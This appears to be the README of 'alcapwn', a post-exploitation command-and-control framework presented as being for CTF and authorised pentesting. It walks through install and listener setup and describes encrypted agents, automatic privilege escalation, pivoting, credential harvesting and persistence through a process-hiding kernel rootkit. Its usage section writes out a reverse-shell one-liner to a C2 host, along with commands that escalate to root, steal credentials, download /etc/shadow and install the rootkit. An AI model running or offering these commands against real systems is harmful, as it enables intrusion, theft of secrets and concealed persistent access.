A post-exploitation framework with encrypted C2 agent, automatic recon, privilege escalation, pivoting, and cross-platform payload generation. Built for CTF and authorized pentesting.
Pre-built binaries for Linux and macOS (amd64 / arm64) are attached to every GitHub release with SHA-256 checksums. No runtime dependencies.
# linux/amd64 $ curl -sL https://github.com/exec/alcapwn/releases/\ latest/download/alcapwn-linux-amd64.tar.gz \ | tar xz && sudo mv alcapwn /usr/local/bin/
$ git clone https://github.com/exec/alcapwn $ cd alcapwn $ go build -o alcapwn .
$ ./alcapwn -l 0.0.0.0:4444 # TCP listener $ ./alcapwn -l 0.0.0.0:4444 --tls # ephemeral TLS $ ./alcapwn -l 0.0.0.0:4444 -r # auto-recon on connect alcapwn> listen http 0.0.0.0:8443 --tls # HTTPS beacon listener
alcapwn is a post-exploitation framework that handles the full lifecycle: catch shells, deploy encrypted agents, recon targets, escalate privileges, pivot through networks, and persist access — all from one operator console managing up to 1024 sessions.
Cross-compiled Go agent with X25519 key exchange and AES-256-GCM per-session encryption. TCP and HTTP transports with jitter, certificate pinning, and XOR config obfuscation.
HMAC-authenticated bash recon script discovers SUID/SGID binaries, sudo rules, capabilities, cron jobs, Docker sockets, credentials, and CVEs. Parsed into structured findings in seconds.
75-entry exploit dataset covering GTFOBins, sudo, capabilities, cron, CVEs (Baron Samedit, PwnKit, DIRTYFRAG-2026), Docker, and Windows privesc. Exploits with embedded binaries are delivered over the PTY — no gcc required on target. exploit auto walks candidates until root.
SOCKS5 proxy and TCP port forwarding through any session. Scan internal networks from the agent. Works with proxychains.
One-command persistence via cron, bashrc, SSH key, systemd, setuid, or kernel LKM rootkit (persist 1 rootkat — uploads, insmod, systemd boot persistence, auto-hides process and connection via rootkat). Registry/scheduled task on Windows. Reconnecting sessions auto-label by IP.
Agent-side harvest of SSH keys, shell history, .env files, AWS credentials, git configs (Linux) and PowerShell history, env, SSH (Windows). Streamed back encrypted.
generate linux amd64 cross-compiles agents for 6 targets (Linux amd64/arm64/armv7/i386, macOS x86_64/aarch64). Built-in minishell fallback when no system shell is available.
Terminal injection defense (C1 codes, OSC 52, APC/DCS stripping), per-listener IP firewalls with CIDR, and ANSI-safe output for all remote data.
# target runs: $ bash -i >& /dev/tcp/c2/4444 0>&1 # alcapwn auto-upgrades to PTY # [+] Session 1 ready
alcapwn> generate linux amd64 \ --lhost 10.0.0.1 --obfuscate # deploy agent-linux-amd64 to target # [+] Agent 1 ready (AES-256-GCM)
# Both session types share the same operator commands: alcapwn> recon 1 # structured recon (or -r at startup) alcapwn> exploit auto 1 # walk all privesc candidates # [+] ROOT via suid_python3 (euid=0) alcapwn> creds 1 # harvest credentials alcapwn> scan 1 10.0.0.0/24 # scan internal network from target alcapwn> pivot 1 --socks5 1080 # SOCKS5 proxy through session alcapwn> persist 1 rootkat # LKM rootkit — upload, insmod, boot-persist, hide alcapwn> use 1 # interactive shell (Ctrl+D to background) alcapwn> download 1 /etc/shadow alcapwn> export 1 --format json findings.json